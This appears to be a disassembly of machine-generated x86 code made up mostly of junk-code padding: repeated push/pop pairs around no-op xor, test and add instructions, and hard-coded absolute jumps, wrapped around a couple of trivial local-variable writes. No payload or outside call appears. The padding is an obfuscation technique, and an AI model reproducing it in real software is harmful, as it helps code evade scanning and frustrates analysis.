push ax
push cx
test cx, cx
xor cx, cx
mov cx, ax
xor ax, ax
test ax, ax
xor ax, ax
add cx, ax
xor ax, ax
test ax, ax
xor ax, ax
xor ax, ax
test ax, ax
xor ax, ax
xor ax, ax
test ax, ax
xor ax, ax
pop cx
pop ax
jmp 0x6b4a1642
push dx
push bx
xor bx, bx
test dx, dx
test dx, dx
test dx, dx
xor bx, bx
test dx, dx
xor bx, bx
test dx, dx
test dx, dx
xor bx, bx
test dx, dx
xor bx, bx
test dx, dx
mov bx, dx
test dx, dx
test dx, dx
test dx, dx
test dx, dx
xor bx, bx
test dx, dx
test dx, dx
test dx, dx
test dx, dx
xor bx, bx
xor bx, bx
test dx, dx
xor bx, bx
test dx, dx
test dx, dx
xor bx, bx
xor bx, bx
test dx, dx
test dx, dx
xor bx, bx
test dx, dx
test dx, dx
test dx, dx
add bx, dx
pop bx
pop dx
nop
jmp 0x6b4a1645
jmp 0x6b4a15c4
nop
nop
push ax
push cx
test cx, cx
xor cx, cx
mov cx, ax
xor ax, ax
test ax, ax
xor ax, ax
add cx, ax
xor ax, ax
test ax, ax
xor ax, ax
xor ax, ax
test ax, ax
xor ax, ax
xor ax, ax
test ax, ax
xor ax, ax
pop cx
pop ax
jmp 0x6b4a1700
push dx
push bx
xor bx, bx
test dx, dx
test dx, dx
test dx, dx
xor bx, bx
test dx, dx
xor bx, bx
test dx, dx
test dx, dx
xor bx, bx
test dx, dx
xor bx, bx
test dx, dx
mov bx, dx
test dx, dx
test dx, dx
test dx, dx
test dx, dx
xor bx, bx
test dx, dx
test dx, dx
test dx, dx
test dx, dx
xor bx, bx
xor bx, bx
test dx, dx
xor bx, bx
test dx, dx
test dx, dx
xor bx, bx
xor bx, bx
test dx, dx
test dx, dx
xor bx, bx
test dx, dx
test dx, dx
test dx, dx
add bx, dx
pop bx
pop dx
nop
jmp 0x6b4a1703
jmp 0x6b4a1682
nop
mov dword [ebp - 0x60], 0x50
add dword [ebp - 0x60], 1
nop
push ax
push cx
test cx, cx
xor cx, cx
mov cx, ax
xor ax, ax
test ax, ax
xor ax, ax
add cx, ax
xor ax, ax
test ax, ax
xor ax, ax
xor ax, ax
test ax, ax
xor ax, ax
xor ax, ax
test ax, ax
xor ax, ax
pop cx
pop ax
jmp 0x6b4a17c9
push dx
push bx
xor bx, bx
test dx, dx
test dx, dx
test dx, dx
xor bx, bx
test dx, dx
xor bx, bx
test dx, dx
test dx, dx
xor bx, bx
test dx, dx
xor bx, bx
test dx, dx
mov bx, dx
test dx, dx
test dx, dx
test dx, dx
test dx, dx
xor bx, bx
test dx, dx
test dx, dx
test dx, dx
test dx, dx
xor bx, bx
xor bx, bx
test dx, dx
xor bx, bx
test dx, dx
test dx, dx
xor bx, bx
xor bx, bx
test dx, dx
test dx, dx
xor bx, bx
test dx, dx
test dx, dx
test dx, dx
add bx, dx
pop bx
pop dx
nop
jmp 0x6b4a17cc
jmp 0x6b4a174b
nop
mov dword [ebp - 0x64], 0x50
add dword [ebp - 0x64], 1
nop
push ax
push cx
test cx, cx
xor cx, cx
mov cx, ax
xor ax, ax
test ax, ax
xor ax, ax
add cx, ax
xor ax, ax
test ax, ax
xor ax, ax
xor ax, ax
test ax, ax
xor ax, ax
xor ax, ax
test ax, ax
xor ax, ax
pop cx
pop ax
jmp 0x6b4a1892
push dx
push bx
xor bx, bx
test dx, dx
test dx, dx
test dx, dx
xor bx, bx
test dx, dx
xor bx, bx
test dx, dx
test dx, dx
xor bx, bx
test dx, dx
xor bx, bx
test dx, dx
mov bx, dx
test dx, dx
test dx, dx
test dx, dx
test dx, dx
xor bx, bx
test dx, dx
test dx, dx
test dx, dx
test dx, dx
xor bx, bx
xor bx, bx
test dx, dx
xor bx, bx
test dx, dx
test dx, dx
xor bx, bx
xor bx, bx
test dx, dx
test dx, dx
xor bx, bx
test dx, dx
test dx, dx
test dx, dx
add bx, dx
pop bx
pop dx
nop
jmp 0x6b4a1895
jmp 0x6b4a1814
nop
nop
leave
ret